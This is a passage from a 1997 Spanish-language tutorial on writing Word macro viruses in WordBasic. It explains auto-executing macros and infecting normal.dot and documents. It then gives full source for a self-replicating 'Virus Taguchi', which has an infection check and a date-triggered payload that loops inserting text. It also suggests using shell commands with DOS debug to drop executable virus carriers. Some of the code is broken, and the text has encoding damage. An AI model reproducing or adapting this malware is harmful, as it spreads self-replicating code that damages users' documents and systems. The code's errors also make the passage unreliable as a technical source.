en un lenguaje llamado WB (wordbasic).
Si supongo que a muchos de vosotros os suena eso del basic y tenéis mucha
razón ya que el WB es una variante del basic. A mi me recuerda enormente
al famoso qbasic que ven¡a con el DOS, sobretodo porque est bastante
estructurado y no hay que poner los engorrosos numeros de linea cada
vez ;>.
Supongo que los virus del Word son tan famosos porque desde la aparici¢n de
win95 es la forma m s sencilla de infectar un ordenador, porque est en
un lenguaje de alto nivel y cualquier LAMER puede aprender a utilizarlo
estudianto unos cuantos comandos, y porque por si fuera poco está en una
variante del basic, y quien no aprendió a programar en Basic con la aparición
de los Amstrad y los Spectrum.
Aun así no me parece una rama de los virus muy interesante, al ver
un virus en ensamblador ,aprecias la belleza de su código (siempre y cuando
est� bien programado) en cambio cuando ves un virus en WB dices - pero que
cutre!!!!!. Algo as¡ como los virus para BAT o los Companion Viruses.
De todos modos su utilización como carriers (programa con el que
empiezas a contaminar un sistema) es bastante interesante. El virus Ph33r
de los australiandos Vlad ,se extendía mediante un virus para word.
Sí son cutres pero que coño se reproducen no???.
En primer lugar ¿cuando se ejecuta un Macro?
En el winword existe un famoso archivo llamado normal.dot en �el
que se almacenan todas las macros existentes en el word. Entre ellas
están unas macros automáticas que se ejecutan cada vez que se
da cierto evento. Hay 5 macros automáticas ,asociadas a 5
eventos del sistema.
autoclose -Se ejecuta cuando se cierra un archivo
autoopen -Se ejecuta cuando se abre un archivo
autonew -Se ejecuta cuando se crea un archivo.
autoexec -Se ejecuta cuando entras en el word.
autoexit -Se ejecuta cuando sales del word.
De modo que si tu creas una macro llamada autoclose que visualize
tu nombre en pantalla. Cada vez que cierres un archivo se
visualiza tu nombre en pantalla ;>. Esto parece más fácil que
la residencia en ensamblador jejejeje.
Realmente el virus no está residente simplemente está en el normal.dot
esperando que se ejecute un evento.
Ahora bien, si recibes un archivo contaminado ,como se copia a tu
sistema (al normal.dot) si tu normal.dot está limpio todavía?
Resulta que en los archivos también puedes introducir macros.
El macro autoopen en un archivo se ejecutaría cada vez que abres un
archivo y el autoclose cada vez que lo cierras.
Ahora bien ese archivo tiene que ser de tipo plantilla si no el macro
no se podría ejecutar.Los virus de word normalmente aunque no sean
una plantilla ,graban los archivos contaminados como plantilla para
que puedan ser ejecutados sus macros directamente desde los archivos.
Esto se hace con el simple comando
archivoguardarcomo.formato=1
nota: Como veis los comandos están en Castellano, la verdad es que
esto sólo es posible en la versión hispana del word ,pero hay que
fomentar la producción nacional.
De todas formas si veis el código de algún virus de word en Ingles
no te preocupes la traducción es practicamente literal para la
versión castellana.
y ahora bien ¿como copio el virus desde un archivo al normal.dot?
No es necesario utilizar cosas raras ni punteros ni guardar valores
en registros como en ensamblador, esto es un lenguaje de alto
nivel esto se hace con una simple instrucción jejejejeje.
macrocopiar "doc1:autoclose","global:autoclose"
Con esta instrucción copio el macro autoclose situado en el
archivo doc1 al macro autoclose que guardar� en normal.dot
(no se referencia al archivo de macros normal.dot como tal, sino
que se utiliza la expresión global)
fácil no??. del mismo modo se puede hacer lo contrario
macrocopiar "global:autoclose","doc1:autoclose"
para copiar del macro autoclose de global a doc1.
Tambien se puede sustuir esta expresión por
macrocopiar "global:autoclose",nombreventana$()+":autoclose"
Esto copia la macro autoclose de global al archivo que va a ser cerrado.
nombreventana$() es una funci¢n del word que devuelve el nombre de
la ventana abierta.
Ahora viene una pregunta importante ¿donde escribo el virus?
Mira en el menu de herramientas la opcion macros.
Te aparecer un bonito editor de macros con todas las macros existentes
actualmente en tu word y si tienes alguna plantilla abierta te
proporciona la posibilidad de ver los macros incluidos en dicha
plantilla
Otra pregunta importante ¿como eliminar un virus de word?
Si sospechas que tienes un virus de word, borra el normal.dot
de modo que el propio word te crear uno limpio. Con eso limpias
el normal.dot .Los archivos los puedes abrir con el editor de macros
en la opcion organizador.
(abrelos con el editor si los abres con el word estamos en las mismas
con el normal.dot contaminadito).Y puedes borrar todas macros que
tengas en el archivo. :> fácil ehhh.
Normalente no hay macros en el normal.dot así que si habres el editor
y ves un par de macros ,puedes pensar mal.
No conozco a nadie que utilice macros unicamente los creadores de virus.
Nuestro primer virus.
Este virus estar formado por 2 macros una autoclose y otra llamada
nigro que es el que utilizaremos para saber si est contaminado
el archivo o el normal.dot
'***********************************************************
'* *
'* Virus Taguchi *
'* (la probabilidad de aprobar es de un 0.05 %) *
'* *
'***********************************************************
Sub MAIN 'este macro definelo como autoclose
On Error Goto finalizar 'si hay algun error va a finalizar
'hay etiquetas y saltos condicionales
'como pod�is ver.
Nigro1$ = NombreVentana$() + ":autoclose"
Nigro2$ = NombreVentana$() + ":nigro"
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
'utilizo la función Lcase para realizar la comparación
'solo en minúsculas y en Archi$ tendrá� el nombre del
'archivo que contenga el macro ya sea un archivo de
'plantilla o el normal.dot
'utilizo la función right$ porque nombrearchivomacro$
'devuelve el nombre con la ruta
If archi$ = "normal.dot" Then 'si se ejecuta desde el normal.dot
If infectado = 0 Then
Goto contadoc 'si no lo esta contamina el archivo activo
Else
Goto finalizar 'si lo esta no contamina
EndIf
Else 'se ejecuta desde un archivo
If infectado = 0 Then
Goto contanormal 'contamina normal.dot si no lo esta
Else
Goto finalizar 'no contamina porque ya lo est
EndIf
EndIf
Goto finalizar
MsgBox "virus Taguchi"
contadoc: 'contamina archivo abierto
ArchivoGuardarComo .Formato = 1 'en archivos sólo se autoejecutar n las
'macros que están en plantillas.
'Pues creamos la plantilla.
MacroCopiar "global:autoclose", nigro1$, 1
MacroCopiar "global:nigro", nigro2$, 1
ArchivoGuardarTodo 1, 1
Goto finalizar
contanormal: 'contamina el normal.dot
MacroCopiar nigro1$, "global:autoclose", 1
MacroCopiar nigro2$, "global:nigro", 1
ArchivoGuardarTodo 1, 0
Goto finalizar
finalizar:
Call Nigro , payload ,llamo a otra macro.
End Sub
'anda pero si hay tambien funciones!!!!!
'que bonito!!!
'esta funcion definela dentro de la ventana
'del macro autoclose ya que es llamada desde
'dicha macro
Function infectado 'función que verifica si estó infectado
'ya sea un archivo o el normal.dot segun el
'caso devuelve 0 si limpio y 1 si infectado
infectado = 0
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
'busca entre los macros si est el macro nigro
'si est es que estar contaminado
If archi$ = "normal.dot" Then
If ContarMacros(1) > 0 Then
For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
End If
Else
If ContarMacros(0) > 0 Then
For i = 1 To ContarMacros(0)
If NombreMacro$(i, 0) = "nigro" Then
infectado = 1
End If
Next i
End If
End If
End Function
Sub MAIN 'este procedimiento definelo como nigro
If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then
Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997"
Goto bucle
'si es el día 19 de Febrero creo un bucle infinito
'escribiendo en el archivo abierto nEUrOtIc cpU
End If
End Sub
Supongo que la mayoría de estas funciones son fáciles de entender
intuitivamente por el nombre, sino podéis hacer pruebas con el
word.
De todas formas voy a explicar un poco la verificación de si está
contaminado el archivo.
En primer lugar el virus guarda en archi$() el nombre del archivo
desde el que fue ejecutado el macro (tened en cuenta que
en como qbasic las funciones que devuelven texto tienen el simbolo
$ al final).En nombre del archivo lo obtiene mediante la función
nombrearchivomacro$().
Ahora teniendo ese nombre compara archi$ con "normal.dot" para
saber si se est ejecutando el macro desde un archivo o desde
el normal.dot. Si se est ejecutando desde el normal.dot ,
como es lógico no hará falta contaminarlo jejeje, entonces mediante
la función infectado mira si el archivo abierto esta contaminado
si no lo está lo contamina y si lo está se va a la macro
nigro para realizar el payload. En el caso en que se ejecute
desde un archivo se hace lo contrario mediante la funcion infectado
se mira si el normal.dot está contaminado si lo está se va al macro
nigro y si no lo está lo contamina.Guau esto parece un trabalenguas
La función infectado trabaja por tando de diferente manera según
se ejecute desde un archivo o desde el normal.dot.
Si se ejecuta desde un archivo
infectado=1 si normal.dot infectado
infectado=0 si normal.dot no infectado
Si se ejecuta desde el normal.dot
infectado=1 si archivo infectado
infectado=0 si archivo no infectado
La verificación de si est infectado o n o ya sea el archivo o el
normal.dot se hara mediante las funciones
contarmacros(1) que devuelve el número de macros en el archivo
activo
contarmacros(0) que devuelve el n£mero de macros en normal.dot
nombremacro$(n,1) devuelve el nombre del macro numero n
dentro del archivo activo
nombremacro$(n,0) devuelve el nombre del macro numero n
dentro del normal.dot
El recorrido por todos los nombres de macros se realiza mediante
un bucle (si esto es un jodido lenguaje de alto nivel ,aquí hay de todo)
For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
Con esto se busca una macro de nombre "nigro" dentro de un archivo
si lo encuentra infectado tomar el valor 1.En caso contrario
infectado tendr el valor con el que fue inicializado es decir 0.
Comandos interesantes para el payload serían por ejemplo
shell "comando" con el que puedes ejecutar programas del sistema
operativo.
El comando shell es muy interesante para hacer llamadas al programa
debug del dos con codigo hexadecimal y crear carriers ejecutables
de virus como en el caso del Ph33r.
insertar "hola hola hola" puedes insertar texto en el documento activo
msgbox "virus activado" aparece un cuadro de diálogo que este mensaje
y desaparece cuando se apreta el boton de
'aceptar'.
Bueno si tenéis dudas podéis mandar un mail etc etc etc.
Curso creado y distribuido por Nigromante
MSGBOX " nEUrOtIc cpU is with you!!!!!! "